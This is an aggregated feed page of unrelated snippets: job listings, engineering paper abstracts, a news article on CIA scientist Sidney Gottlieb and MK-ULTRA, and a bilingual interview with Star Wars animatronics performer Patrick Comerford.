- flat hierarchies and creative leeway

- Remote home work

- Family like working atmosphere with an international and dynamic team

- Flexible working hours and working under your own initiative

- Very Unique career development opportunities

- Close cooperation with the R&D department of the world’s leading car manufacturer

Bonus points if you HAVE:

* Exposure and knowledge with automotive technologies (Components network, AutoSAR, HSMs, OSes and protocols etc)

* Embedded security experience (especially automotive security)

* Automotive testing experience ( Volkswagen experience is an advantage)

* Experience in planning, designing and managing tests for embedded software

* ISTQB Certification, Certifies tester/advanced level test manager

    Uzņēmums: CV-Library
    Darba veids: Pilna laika
    Alga:
    EUR 59.700 - EUR 76.700 / Katru gadu

          

Web Administrator | ASGE

 Cache   
Downers Grove, IL, Requirements Bachelor’s degree in Web programming, content communications, marketing or related field required Minimum of five (5) years web-related and IT experience managing multiple projects
          

A New Scheme for IoT Service Function Chains Orchestration in SDN-IoT Network Systems

 Cache   
With the rapid development of novel techniques like software-defined networks and network function virtualization, the newer concept—service function chains (SFCs)—can be applied in the Internet of Things (IoT) to promote its further advancements. However, due to the unique characteristics and requirements of the IoT, the current optimization methods cannot be directly used to implement IoT service function chains (IoTSFCs). In this paper, we present a novel orchestration scheme to resolve this problem. It contains two steps: compose and place IoTSFCs. In the composition stage, a multicriterion-based arrangement algorithm is designed to determine the order of involved IoT network functions. Moreover, we modify a traditional SFC definition language to describe the composed IoTSFCs. In the placement stage, we formulate this subproblem as a mixed-integer linear programming model. Then, a genetic-algorithm-based heuristic method and a tradeoff mechanism are used to solve it. Finally, we conduct extensive numerical simulations to evaluate the performance of the proposed scheme. The results show that it can approximately reduce the control latency by 50% and the bandwidth consumption by 40% on average.
          

Liu's Uncertainty Theory-Based Offering Strategy for Wind Power Producers in Special Conditions in the Electricity Market

 Cache   
The main idea of this paper is to present a method for offering a power generation rate of wind power plants in the electricity market in the conditions, in which there is a lack or extreme shortage of information. In such a state, methods conventionally used in normal conditions are no more applicable. The methods that have been formerly presented for the conditions with severe uncertainty are mostly applied in local decision making, but in the method proposed in this paper, global decision making is considered. The proposed method is based on Liu's uncertainty theory, and the information related to uncertain variables is provided by experts. After developing a cumulative distribution function for expert data, Liu's distribution is calculated. Then, the values of uncertain variables are determined based on various belief degrees. After converting the uncertain model of the objective function into a certain equivalent model in the Liu space, the profit function should be maximized via the two-stage stochastic programming method. The data used are real and relevant to the Nord Pool market. Investigation of the simulation results for two different and specific days indicates the efficiency of the proposed strategy.
          

A Cost-Efficient Energy Management System for Battery Swapping Station

 Cache   
Extensive penetration of electrified transportation (xEVs) would require a framework pertaining to smart grid applications for optimizing the grid-to-vehicle (G2V) and vehicle-to-grid (V2G) management. Under this framework, an xEV aggregator would be an intermediary between an independent system operator and individual xEVs, which would offer flexibilities for operating electricity markets. In this paper, we propose a mix integer linear programming based optimal energy management system for battery swapping station (BSS) by participating in the day ahead, real-time and ancillary services. To incorporate the dynamicity of energy price and xEVs load in the optimization model, a suitable forecasting method is selected and suitability of the selected model has been discussed. Furthermore, we propose an incentive-based vehicle-to-vehicle game theoretic approach to assess the expected profit of the BSS aggregator. Later, the validation of the proposed framework is discussed through a case study considering a fleet of 100 xEVs. To incorporate real-time scenario, multitype electric vehicles (EVs) are considered.
          

Framework-Oriented Approach to Ease the Development of Ambient Assisted-Living Systems

 Cache   
Ambient assisted-living (AAL) systems, including wearables and home automation, could improve the quality of life of fragile people. As analyzed in this paper, the typical architecture of AAL systems is based on wireless sensors networks and proprietary gateways and it can be complex, expensive, and hardly includes interoperable multivendor devices. Emerging Android-based gateways can help in reducing costs, but flexibility and interoperability issues will still remain. On the basis of this fact, the development of an AAL system by a framework-oriented approach is presented. Thanks to the use of the SAndroidE framework, the proposed approach leads to the reduction of the programming effort as well as improves interoperability among different vendors ensuring high customization levels. Results obtained in a typical use case indicate that the programming effort in integrating multivendor devices is reduced by a factor of ten. The presented approach paves the way to the implementation of new open multivendor AAL systems, also encouraging redundant architectures and improving robustness of these emerging solutions.
          

The Sinister Scientist Behind the CIA’s Mind-Control Mayhem

 Cache   

The Sinister Scientist Behind the CIA’s Mind-Control MayhemPhoto Illustration by Elizabeth Brockway/The Daily Beast/APStephen Kinzer has written books about civil wars, terror attacks, and bloody coups, but his latest might be his most alarming. “I’m still in shock,” Kinzer says of what he learned about the appalling experiments conducted by a government scientist most Americans have never heard of. “I can’t believe that this happened.”These aren’t the words of an author trying to fire up the hype machine. Though the events recounted in Kinzer’s Poisoner in Chief: Sidney Gottlieb and the CIA Search for Mind Control took place a half-century ago, they’re scandalous in a way that transcends time.For much of his 22-year CIA career, Gottlieb ran mind-control projects designed to help America defeat Communism. In the ’50s and ’60s, Kinzer writes, Gottlieb “directed the application of unknowable quantities and varieties of drugs into” countless people, searching for the narcotic recipe that might allow him to mold his human test subjects’ thoughts and actions.Gottlieb and a network of medical professionals gave LSD and other drugs to prisoners, hospital patients, government employees, and others—many of whom had no idea they were being dosed. A CIA staffer died in highly suspicious fashion after Gottlieb had his drink spiked with LSD. Meanwhile, when his bosses considered killing a foreign leader, Gottlieb developed custom-made poisons. Numerous people were harmed by Gottlieb’s work, but because he destroyed his files on the eve of his 1973 retirement, it’s hard to quantify the carnage he wrought.Perilous Discoveries: The Unintended Consequences of Scientific SecrecyThe broad outlines of Gottlieb’s story have been public for years. Major newspapers ran obituaries when he died in 1999. In 2017, he was portrayed by actor Tim Blake Nelson in Errol Morris’ Wormwood. But Kinzer’s book, the first proper Gottlieb biography, includes fascinating new facts about the end of his career and fresh details about disturbing episodes he orchestrated. Poisoner in Chief describes Gottlieb’s little-known participation in torture sessions at U.S. military sites in foreign countries and reports that in at least one case a doctor who worked with Gottlieb gave LSD to children. Gottlieb was “the Josef Mengele of the United States,” Kinzer, a former New York Times reporter and the author of many books, told me in a recent interview.How did Gottlieb, the Bronx-born son of Hungarian Jews, become a man who would earn comparisons to a ghoulish Nazi doctor?After getting a doctorate in biochemistry from the California Institute of Technology, Gottlieb joined the CIA in 1951, a time of fear and uncertainty. Just six years after the end of World War II, American troops were fighting in Korea. Washington was increasingly worried about what many believed was the existential threat posed by the Soviet Union. Gottlieb was on the job for a few weeks, Kinzer writes, when he was tapped “to invigorate” what would be known as the Artichoke project.Artichoke—the name was essentially meaningless; it might’ve been a CIA boss’ favorite vegetable—gave Gottlieb broad license to carry out mind control projects. Kinzer cites a CIA memo that describes the mission: “the investigation of drug effects on ego control and volitional activities, i.e., can willfully suppressed information be elicited through drugs affecting higher nervous systems? If so, which agents are better for this purpose?”The CIA aimed to create truth serum to use on prisoners and other compounds that would help wipe away memories of events that would cause trouble for the agency. If all went as planned, intelligence officers would have the ability to program people to carry out missions like those later seen in Richard Condon’s novel The Manchurian Candidate and the subsequent movie.Artichoke projects often amounted to “medical torture,” Kinzer writes. Inspired in part by brutal experiments conducted by the Japanese military and the Nazis in the ’40s, Artichoke included the “dosing (of) unwilling patients with potent drugs, subjecting them to extremes of temperature and sound (and) strapping them to electroshock machines.” Artichoke squads worked with impunity at American military sites in Europe and Asia. Such projects were closely guarded secrets, but Poisoner in Chief contains details that will be new to most readers.For instance, Kinzer notes that when “Artichoke scientists came up with a new drug or other technique they wished to test… they asked the CIA station in South Korea to supply a batch [of] ‘expendable’ subjects.” A related CIA memo said the subjects were needed for the testing of an unnamed but “important new technique,” adding, “Technique does not, not require disposal problems after application.” This is ambiguous language, but it suggests that the CIA knew that in some cases, human test subjects might be killed in the process.Gottlieb oversaw a scientific unit at Maryland’s Camp Detrick (since renamed Fort Detrick), where chemists researched the effects of LSD, heroin, and other drugs, sometimes trying the substances themselves. But he was not just a creature of the lab. “We know that he participated in torture sessions in East Asia,” Kinzer says, speaking from his home in Massachusetts. “We know that he made repeated visits to Germany, which, like Japan, was under U.S. occupation, so he didn’t have to obey any laws. And he was also active in other parts of Europe.”In time, Gottlieb became intimately familiar with LSD’s mind-altering effects. He admitted that he’d used the drug more than 200 times. “When I look at the variety of the projects that he was involved in,” Kinzer says, “from hypnotism to electroshock to parapsychology to handwriting analysis, I begin to think that maybe it was while he was on LSD that he was thinking, ‘I got another idea.’”By 1953, Kinzer writes, “Artichoke had become one of the most violently abusive projects ever sponsored by an agency of the United States government.” That year, Allen Dulles, one of Gottlieb’s ardent backers, got the CIA’s top job. The new boss, Kinzer writes, was among Washington’s leading mind control proponents: “Dulles never recoiled from the most extreme implications of ‘brain warfare.’” Dulles wanted “to intensify and systematize” the work done under Artichoke, Kinzer adds, and he tapped Gottlieb to head a new program: MK-ULTRA, named for the “ultra-sensitive” activities it was expected to carry out.With a generous budget and an “effectively unlimited supply” of LSD—the pharmaceutical company Eli Lilly manufactured the hallucinogenic drug for the CIA—Gottlieb became perhaps “the most powerful unknown American of the 20th century,” Kinzer says.A key MK-ULTRA initiative involved medical professionals who agreed to administer drugs to their patients—often without the patients’ knowledge or consent. For instance, when Gottlieb wanted to know how much LSD a body could withstand, he got in touch with Harris Isbell, a researcher at a Lexington, Kentucky addiction center who had made his curiosity about LSD known in a letter to the CIA.Working with a group of men who “were not told what sort of drug they would be fed or what its effects might be,” Kinzer writes, Isbell administered large doses of LSD. He reported that the men experienced anxiety, hallucinations, and “choking.” As always with CIA projects of this kind, it’s tough to say how much damage was done. But Kinzer writes that at least one patient did speak out, saying that “for the rest of his life he suffered from delusions, paranoia, panic attacks, and suicidal impulses.”Another keen CIA collaborator chaired the pharmacology department at Emory University. “As subjects,” Kinzer writes, Dr. Carl Pfeiffer “used inmates at the federal prison in Atlanta and at a juvenile detention center in Bordentown, New Jersey,” administering depressants and hallucinogens in volumes that resulted in seizures and hallucinations that lasted for days. One of Pfeiffer’s subjects was James “Whitey” Bulger, who later became a notorious Boston gangland killer. Bulger said that as a young inmate, he was given LSD daily for more than a year.Another doctor—a New York allergist named Harold Abramson, who got an $85,000 MK-ULTRA stipend—“developed a special curiosity about the impact of mind-altering drugs on children,” Kinzer writes. “He closely monitored experiments, including one in which 12 ‘pre-puberty’ boys were fed psilocybin, and another in which 14 children between the ages of six and 11, diagnosed as schizophrenic, were given 100 micrograms of LSD each day for six weeks.”In Manhattan, meanwhile, Gottlieb helped set up a CIA safe house, where, with the hands-on help of a local narcotics cop, “unsuspecting citizens would be lured and surreptitiously drugged,” their behavior monitored via surveillance equipment in an adjoining apartment.It was around this time that Gottlieb attended a retreat with some other CIA men. The colleagues began drinking, and a few minutes later, Kinzer writes, “Gottlieb asked if anyone was feeling odd. Several said they were. Gottlieb then told them that their drinks had been spiked with LSD.” The incident triggered an emotional crisis in one of the men, a scientist named Frank Olson. Days later, Olson plunged to his death from the window of a Manhattan hotel. As seen in Morris’ film Wormwood, there’s compelling circumstantial evidence that Olson was murdered because the CIA feared he would divulge one of the secret projects he’d worked on.One of Gottlieb’s most remarkable duties involved adversarial foreign heads of state. According to colleagues, he prepared “a pre-poisoned tube of toothpaste” meant for Congolese Prime Minister Patrice Lumumba (it went unused) and ran a scientific team that considered a bizarre plot to disgrace Fidel Castro. Believing that the Cuban leader’s charisma was linked to his facial hair, Gottlieb wanted to have thallium salts sprinkled in his boots. “His beard would then fall out,” Kinzer writes, “leaving him open to ridicule and overthrow.” This, of course, never came to pass.By 1963, MK-ULTRA’s final year, Gottlieb and his colleagues “were forced to face their cosmic failure,” Kinzer writes. “Their research had shown them that mind control is a myth—that seizing another person’s mind and reprogramming it is impossible.”Nonetheless, Kinzer believes that Gottlieb left a deeply lamentable imprint on the modern CIA. He says there’s “a direct line between Sidney Gottlieb’s work and techniques that U.S. agents taught to Latin American security services in the 1960s and ’70s—these techniques were also used in Vietnam—and then later on to the techniques of torture and so-called extreme interrogation that were used at Abu Ghraib and Guantanamo.”Though Gottlieb’s decision to destroy his files means that there’s much we’ll never know, Kinzer appears to be the first journalist to directly tie his departure from the CIA to the scandal that ended Richard Nixon’s presidency. Gottlieb’s team, he reports, “prepared false identity papers for two of” the men who broke into the Democratic National Committee’s offices in the Watergate complex. The break-in set off a chain of events that result in the ouster of CIA Director Richard Helms. “Helms,” Kinzer explains, “was Gottlieb’s number one promoter and enabler and sponsor for 20 years.” Nixon fired Helms in February 1973. Gottlieb retired four months later.After the CIA, Gottlieb took steps to reinvent himself. The long-married father of four joined an arts council in his Virginia town, acted in local holiday plays and worked with children who had speech problems. “It definitely seems from the recollections of people that knew him in his last 20 years that he was a very gentle soul, kind of an eco-hippy,” Kinzer says. “Nobody had any idea of what he had done in the past, but he was tormented by it.”Gottlieb died in March 1999, and when a cause of death wasn’t announced, at least two observers came to believe that he killed himself to derail intensifying legal inquiries into his actions. Eric Olson—Frank’s son—and Sidney Bender, a lawyer for a man who says his life was ruined by a Gottlieb dosing, had both tried to hold Gottlieb to account while he was alive. Instead, Kinzer writes, “they drank a toast to the death of a man they considered a monster.” Read more at The Daily Beast.Get our top stories in your inbox every day. Sign up now!Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more.



          

ASC Announces Nominees for Television and Documentary Awards

 Cache   

The American Society of Cinematographers (ASC) has named the cinematographers and programming that are in contention for the 34th Annual ASC Outstanding Achievement Awards. The slate of ASC Awards includes, for the first time, a category for exceptional cinematography in nonfiction filmmaking. All four of the documentary cinematographers cited are receiving their first-ever ASC Award […]

The post ASC Announces Nominees for Television and Documentary Awards appeared first on Studio Daily.


          

The Insider's Guide To The Philips ARM7-Based Microcontrollers

 Cache   
Abstract:
This book is intended as a hands-on guide for anyone planning to use the Philips LPC2000 family of microcontrollers in a new design. It is laid out both as a reference book and as a tutorial. It is assumed that you have some experience in programming microcontrollers for embedded systems and are familiar with the C language. The bulk of technical information is spread over the first four chapters, which should be read in order if you are completely new to the LPC2000 and the ARM7 CPU.
          

MPC82x52-54 Flash Programming

 Cache   
MPC82x52-54 Flash Programming
          

Bloodshed Dev-C++

 Cache   
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as its compiler. It creates native Win32 executables, either console or GUI. Dev-C++ can also be used in combination with Cygwin.

Dev-C++ is Free Software (also referred as Open Source), and is written in Delphi (yes I know the irony).
          

Entrevistas SWCP: Patrick Comerford

 Cache   



Patrick Comerford é um ator e artista em efeitos especiais. Com mais de duas décadas de experiência no cinema, televisão, comerciais, teatro e apresentações corporativas, foi um dos artistas principais em animatronic para `The Force Awakens´sendo os seus dois personagens principais, no departamento de criaturas:Grummgar e Bollie Pringle. Ele também foi o operador do GA-97 o dróide de comunicações no castelo da Maz, Strono "Cookie" Tuggs e Quiggold para algumas filmagens individuais. Em `Rogue One´foi o artista facial do Almirante Raddus, o droid na cena de abertura e Bor Gullet.Em Star Wars:Os últimos Jedi, ele fez a animatronic do Trypto Buball.


SWCP: Quais foram as principais dificuldades que você teve para encarnar os personagens de Star Wars?


P.C:  Essa é uma pergunta interessante. Acho que é seguro dizer que grande parte do filme que qualquer membro da equipa faz, é resolver problemas.
Toda a gente tem as suas áreas de responsabilidade.A minha função principal sobre os filmes de Star Wars tem sido como um performer de animatronics - às vezes trabalhando simplesmente com fantoches de personagens (como o Grummgar em Ò Despertar da Força´), mas a maior parte trabalhando como ator de personagens - um notável grupo de homens e mulheres por quem eu tenho o maior respeito.
Cada traje e cada cabeça de animatronic são diferentes. A primeira coisa que eu tenho de fazer é familiarizar-me com cada cabeça individualmente antes de entramos no set.  Há um número diferente de sistemas de controle que temos usado ao longo dos anos e eu tenho de ter a certeza que estou feliz com a maneira de como eles são criados. Todos os artistas de animatronic têm preferências, particularmente quando se trata de realizar o diálogo e às vezes isso pode significar trabalho com um mecânico para ajustar a programação para uma cabeça específica para que você automaticamente saiba que expressão e formato da boca causem uma certa combinação de posições do dedo   mesmo se perder de vista o rosto do personagem quando eles (ou a câmera) estão em movimento. 
Os mecânicos de Star Wars são alguns dos melhores (e mais pacientes!) do mundo. Sem a sua ajuda,o meu trabalho seria muito mais difícil. Às vezes pode haver uma pessoa a manobrar os olhos num controlador, enquanto o outro manobra a boca num controlador diferente, mas na maior parte desse trabalho,eu estou incumbido de cuidar de toda a face. 


A minha primeira responsabilidade é executar todas as expressões faciais, emoções e quando necessário, o diálogo para qualquer criatura que esteja fazendo.Para conseguir isso, o ator que usa o traje e eu discutimos o que eles querem fazer e eu observo cuidadosamente os ensaios com o realizador para certificar-me de que estamos todos em sintonia.
Igualmente importante, é ter a certeza de que o ator trajado está seguro e tem o que ele ou ela precisa fazer para o seu trabalho, mantendo-os informados sobre as filmagens em que estão envolvidos e o ambiente em torno deles, tais como riscos de viagem e mudança de posições da câmera. Eu tenho um microfone que está conectado a um fone de ouvido colado ao artista para que eu possa mantê-lo informado e também passar novas instruções do realizador quando é necessário. Na maior parte, o ator trajado limita a sua visibilidade quando usa uma cabeça de animatronic e há raras ocasiões, tais como com o Almirante Raddus(Rogue One)quando devido aos requisitos de projeto da cabeça, o actor (neste caso o Paul Kasey) não tem absolutamente visibilidade tendo por isso de ficar completamente dependente de informações em tempo real que recebe.Num mundo ideal, você sempre tem uma 'cabeça' de ensaio primeiro para que o actor possa habituar-se a um ritmo e ter uma ideia de como as coisas acontecem - mas uma vez que a cabeça esteja colocada, estes podem mudar e raramente escusam de passar por todo o processo novamente.   
Um típico conjunto de orientação que eu possa dar seria algo como "A Jyn Erso está se a aproximar de ti ás tuas três horas(sentido dos ponteiros do relógio),vira-te e cumprimenta-a em 3-2-1 - agora! " ou "Estás a chegar á escadaria em 3-2-1-desce-2-3 - e estás em baixo".
O Traje de trabalho é cansativo, quente e técnicamente muito exigente. O que alguém como o Paul faz tão bem é fazer tudo parecer natural e sem esforço.É muito mais difícil do que a maioria das pessoas imagina. 


Quando um artista de animatronic faz o diálogo para uma criatura no set nós naturalmente precisamos ver a cara da criatura que estamos a filmar, de preferência com linha de visão devido ao ligeiro atraso num monitor. 
Uma coisa que as pessoas que assistem aos filmes provávelmente não estão cientes,é que isso inevitavelmente nos coloca num lugar completamente diferente para a criatura em si, o que significa que muitas vezes um ator está a conversar com um personagem na frente deles enquanto ouve o manipulador de marionetes dizer as linhas de diálogo a cerca de 30 cm atrás da sua orelha esquerda,o que pode ser um pouco de chocante no início. 


O facto de que eles fazem isso tão naturalmente,é um crédito para o incrível elenco com quem trabalhamos. Acho que a coisa mais importante para todos os marionetistas e artistas é de certificarmo-nos de que fazemos jus á extraordinária quantidade de trabalho que foi ter de criar cada personagem.Isto representa uma vasta pirâmide de habilidade e esforço de todos os membros dos departamentos CFX, roupas e adereços que combinam para criar a criatura que vocês vêm no filme. 
Nos últimos 5 anos eu fui afortunado o bastante por fazer parte de uma equipa que continha um grande número de pessoas extremamente talentosas e trabalhadoras que incorporam tudo o que você gostaria de uma equipa quando você pisa no set.O Neal Scanlan rodeou-se com um grupo muito especial de pessoas e cada um deles trouxe seu"O seu jogo para a mesa". Eu não posso exagerar o nível de profissionalismo, carinho e orgulho que todos colocaram no seu trabalho, muitos dos quais trabalham longas horas nas oficinas por meses a fio e nunca são vistos aos olhos do público. É um sentimento maravilhoso andar pelos sets e saber que tudo o que é pedido a si,é que por mais difícil que as coisas possam ficar,com um departamento como este,não há problema que não se consiga resolver. Acho que tenho o melhor trabalho em Star Wars e quando tens este tipo de apoio,qualquer dificuldade é apenas um desafio á espera de ser realizado.

SWCP: Lembra-se de alguma situação engraçada ou incomum que tenha ocorrido durante as filmagens dos filmes? 

P.C: Há tantas situações inusitadas e tanto riso no set que é difícil destacar um só.As rodagens feitas na Irlanda para `O Último Jedi´ foram repletas de momentos surreais, desde o cenário massivo da aldeia do zelador que estava colocado nas falésias 122 metros acima do mar, para ver a enorme marioneta da vaca do mar, teve de vir um helicóptero do penhasco e depois de filmar,voou longe através da Baía para o acampamento-base.Sobre o voo de volta para o Reino Unido,o Mark Hamill tendo um bom espírito desportivo,assumiu o papel de hospedeiro... O fanboy em mim nunca vai esquecer o facto de ter recebido uma toalhita húmida pelo Luke Skywalker!


SWCP: Você e o Harrison Barny são os sócios e fundadores da Global  Puppeteering Services.Pode descrever um pouco mais sobre esta empresa? 

P.C: Conheço o Barny desde o meu primeiro trabalho de marionetista trabalhando na série de TV “Spitting Image” (Onde o Brian Herring também começou ao mesmo tempo) temos sido amigos desde aí e tendo trabalhado em filmes, séries de TV e dezenas de comerciais juntos,marionetando tudo, desde cães verdadeiros a sofás,testes de acidentes com manequins,entre outros.Nós fundámos a Global Puppeteering Services como um veículo para trabalharmos juntos em projetos mas na verdade já não existe como uma entidade - embora por razões sentimentais ainda não tenhamos eliminado o website oficial da empresa.

SWCP: Entre as dezenas de criaturas que encarnou durante sua carreira, há algumas das quais você tenha um carinho especial? 


P.C: O Almirante Raddus será sempre especial para mim, em parte por causa do Paul e em parte porque era o primeiro personagem falante do elenco que fiz em Star Wars.Eu e o Nick Kellington divertimo-nos muito com o Snook Uccorfay em `O Último Jedi´ - embora tivesse acabado com apenas um vislumbre fugaz no filme. Eu fiz um monte de trabalhos realmente agradáveis com o Harley Durst no personagem Molloch do filme `Solo.Uma História de Star Wars´, mas apenas alguns dos personagens acabaram no corte final após as refilmagens (dos quais Chris Clarke assumiu e eu não estava disponível nessa altura).Há uma série de grandes coisas no episódio IX que não posso falar, mas que estou animado para ver na tela.
Às vezes, é muito sobre as pessoas com quem estás a trabalhar assim como os próprios personagens.Trabalhando com o Phill Woodfine em `Ferdy the duck´ e em `The Pelicans on Babe: Pig In The City´ foi uma experiência preciosa e trabalhando juntos novamente em Star Wars foi um enorme prazer.(O Phill definitivamente cai na categoria de herói desconhecido.O seu trabalho para o departamento de CFX tem sido consistentemente excelente, como qualquer membro da equipa te diria).
Eu não posso deixar de fora o Chucky e a Glen em `A semente de Chucky´.Don Mancini criou tais personagens alegremente malévolos e trabalhar para o Tony Gardner ao lado de Peter Chevako e o resto da equipa da Alterian foi uma época que recordo com grande carinho. Oh - e há 3 anos eu era o braço direito do primeiro-ministro John Major. (Na série "Spitting Image"...)

SWCP:  E qual foi seu trabalho mais difícil de fazer até agora?

P.C: Na verdade, acho que não tive o que eu chamaria de um trabalho realmente difícil.  Alguns podem representar desafios mais do que outros, mas existem muitas pessoas no mundo que ganham a vida a salvar vidas e a lidar com as condições e circunstâncias que eu nunca tive de fazer. Relembro constantemente a sorte de poder fazer o que faço.

SWCP: Que mensagem você gostaria de enviar aos fãs de Star Wars?


P.C: Tudo o que posso dizer é obrigado por todo o apoio que temos recebido ao longo dos anos - eu próprio sou um fã de Star Wars desde 1977 e cada vez que entro num set é como ser uma criança numa loja de doces.Sou apenas uma diminuta engrenagem numa grande máquina. Espero que as pessoas gostem do que temos feito até agora e eu estou tão animado como qualquer um para ver o episódio IX!
Que a força esteja convosco! 


ENGLISH VERSION:
Patrick Comerford is an actor and special effects artist.With over two decades of experience working in film, television, commercials, theatre and corporate presentations,he was one of the principal animatronic performers for the Creatures Department in The Force Awakens his two main characters were Grummgar and Bollie Pringle. He was also operated GA-97 the communications droid in Maz's castle, Strono "Cookie" Tuggs and Quiggold for some individual shots. On Rogue He was the facial performer for Admiral Raddus, the droid in the opening scene, and Bor Gullet.In Star Wars: Episode VIII The Last Jedi, he did the animatronic performance of Trypto Buball.

SWCP: What were the main difficulties that you had to embody the characters of Star Wars?

P.C: That’s an interesting question. I think it’s true to say that a large part of film making for any crew member is problem solving.
Everyone has their areas of responsibility. My principal function on the Star Wars films has been as an animatronics performer - sometimes working on purely puppet characters (like Grummgar in The Force Awakens), but for the most part working with suit performers - a remarkable group of men and women for whom I have the utmost respect. 


Every suit and every animatronic head is different.The first thing that I have to do is familiarize myself with each individual head before we step on set.  There are a number of different control systems that we have used over the years and I have to make sure that I am happy with the way that they are set up. All animatronic performers have preferences, particularly when it comes to performing dialogue and sometimes this may mean working with a mechanic to tweak the programming for a specific head so that you automatically know what expression and mouth shape a certain combination of finger positions will give you even if you lose sight of the character’s face when they (or the camera) are on the move. 
The mechanics on Star Wars are some of the very best (and most patient!) in the world. Without their help, my work would be a lot more difficult. Sometimes there may be one person performing the eyes on one controller while another performs the mouth on a different controller, but for the most part I am tasked with looking after the whole face.
My first responsibility is to perform all the facial expressions, emotions and where required, the on set dialogue for whichever creature I am doing.  To achieve this, the suit performer and I will discuss what they want to do and I carefully watch rehearsals with the director to make sure that we are all on the same page.

Equally important though, is to make sure that the suit performer is safe and has what he or she needs to do their job by keeping them informed about the shot they are involved in and the environment around them such as trip hazards and changing camera positions. I have a microphone which feeds to an earpiece taped to the performer’s ear so that I can keep them informed and also pass on any new instructions from the director as required. For the most part, the suit performer has limited visibility when wearing an animatronic head and there are rare occasions, such as with Admiral Raddus on Rogue One - when because of the head’s design requirements the suit performer (in this case Paul Kasey) has absolutely no visibility at all so they are completely reliant upon the real time information they are given.  In an ideal world, you always have a ‘heads off’ rehearsal first so that the suit performer can pace out their blocking and have an idea about where things happen - but once the head is on these can change and there is rarely time go through the whole process again. 
A typical set of guidance that I might give would be something like “ Jyn Erso is approaching you from your 3 o’clock, turn and greet her in 3-2-1 - turn.” or “You are coming up on the steps in 3-2-1-down -2-3- and you’re down.) 

Suit work is tiring, hot and technically very demanding. What someone like Paul does so well is to make everything look effortless and natural.  It’s a lot more difficult than most people realize.
When an animatronic performer is doing dialogue for a creature on set we naturally need to see the face of the creature we are performing, preferably with line of sight due to the slight delay on a monitor. 
One thing that people watching the films are probably not aware of is that this inevitably puts us in a completely different place to the creature itself, which means that often an actor is having a conversation with a character in front of them whilst hearing the puppeteer say the lines from twenty feet behind their left ear, which can be a bit of a shock the first time.  The fact that they do this so naturally is a credit to the amazing cast that we work with. I think that the most important thing for all the puppeteers and performers is to make sure we do justice to the extraordinary amount of work that has gone in to creating each and every character that we get to perform. By the time something reaches set, it represents a vast pyramid of endeavour and skill from all the members of the CFX, costume and props departments who combine to create the creature you see on film.

In the last 5 years I have been fortunate enough to be part of a team that contained a multitude of extremely talented and hard working people who embody everything that you would want from a crew when you step on set.  Neal Scanlan surrounded himself with a very special group of people and every one of them brought their ‘A’ game to the table. I cannot overstate the level of professionalism, care and pride that everyone put into their work, many of whom work long hours in the workshops for months on end and are never in the public eye. It is a wonderful feeling to walk on set and know that whatever is thrown at you, however hard things may get, that as a department there is no problem that you can’t solve.
I think I have the best job on Star Wars - and when you have that kind of support, any difficulty is just a challenge waiting to be met.


SWCP: Do you remember of any funny or unusual situation that has occurred during filming the movies?

P.C: There have been so many unusual situations and so much laughter on set and off, that it’s hard to single them out.  The Ireland location shoot for The Last Jedi was full of surreal moments, from the massive cantilevered set of the caretaker village that stuck out from the cliffs 400 feet above the sea, to watching the huge Sea Cow puppet being helicoptered off the cliff after filming and flown away across the bay to base camp.  On the flight back to the UK, Mark Hamill being the good sport that he is, he even took on the role of flight attendant…The fanboy in me will never forget being handed a wet wipe by Luke Skywalker!

SWCP: You and Barny Harrison are the partners and founders of Global Puppeteering Services. Could you tell us a bit more about this company?

P.C: I have known Barny since my first puppeteering job working on the TV series “Spitting Image” (where Brian Herring also started at the same time) We have been friends ever since and have worked on films, TV series and dozens of commercials together puppeteering everything from real dogs to sofas, crash test dummy goats and individual pieces of popcorn.  We formed Global Puppeteering Services as a vehicle to work on projects together but it doesn’t actually exist anymore as an entity - although for sentimental reasons we haven’t got round to taking down the website yet.


SWCP: Among dozens of creatures that you performed during your career, is there some for whom you have a special affection?

P.C: Admiral Raddus will always be special for me, partly because of Paul and partly because it was the first speaking cast character that I did on Star Wars.  Nick Kellington and I had a lot of fun with Snook Uccorfay on The Last Jedi - although it ended up with only a fleeting glimpse in the film. I did a lot of really enjoyable work with Harley Durst on Molloch in Solo, but only some of that ended up in the final cut after the reshoots (for which Chris Clarke took over and I was not available). There are a number of great things in IX that I can’t talk about, but which I am excited about seeing on screen. 

Sometimes it’s as much about the people you are working with as the characters themselves.Performing with Phill Woodfine on Ferdy the duck and the Pelicans on Babe: Pig In The City was a treasured experience and working together again on Star Wars has been such a pleasure.(Phill definitely falls into the category of unsung hero. His work for the CFX department has been consistently outstanding, as any crew member would tell you).
I can’t leave out Chucky and Glen in Seed of Chucky.  Don Mancini created such gleefully malevolent characters and working for Tony Gardner alongside Peter Chevako and the rest of the Alterian team on that was a time I remember with great fondness.Oh - and for 3 years I was Prime Minister John Major’s right hand man. (On Spitting Image…)

SWCP: And what was your most difficult job to do so far?

P.C: In all honesty, I don’t think I have had what I would call a genuinely difficult job.  Some may pose more challenges than others, but there are many people in the world who earn their living saving lives and dealing with conditions and circumstances that I never have to face. I am constantly reminded of just how lucky I have been to do what I do.

SWCP: What message would you like to send for Star Wars fans? 



P.C: All I can really say is thank you for all the support we have received over the years - I’ve been a Star Wars fan myself ever since 1977 and every time I walk on to a set it’s like being a kid in a candy store.  I’m just a tiny cog in a vast machine.
I hope that people like what we’ve been doing so far and I’m as excited as anyone to see Episode IX!
Que a força esteja convosco! 

          

Africa: How Better Information Will Reduce Maternal and Child Deaths

 Cache   
[The Conversation Africa] At least two-thirds of all annual maternal and child deaths worldwide occur in sub-Saharan Africa. Despite recent improvements, significant inequities persist across countries and regions and within countries. An initiative by the African Population and Health Research Centre, Countdown to 2030, seeks to accelerate coverage and access to reproductive, maternal, newborn, child, and adolescents' health and nutrition services by providing evidence that informs decision making for policy, programming and finan
          

Full Time Elementary Generalist - Living Waters Catholic Separate School Division - Whitecourt, AB

 Cache   
Enjoy the vast and beautiful trail system throughout the community, take in the local history, enjoy the great recreation and cultural programming.
From Simplication - Wed, 06 Nov 2019 05:19:31 GMT - View all Whitecourt, AB jobs
          

7 popular web frameworks in Go

 Cache   
Since its launch, Golang (Google’s Go programming language) has become a powerful and popular option to write APIs and web services. This list compiles the seven most popular web frameworks in Go — statistically speaking. 1. Gin Gin is an HTTP web framework that features a Martini-like API with much better performance – up to 40 times faster. If you need smashing performance, get yourself some Gin. Features Faster performance: Radix tree based routing, small memory foot print.
          

DeepSource Go analyzer is now generally available

 Cache   
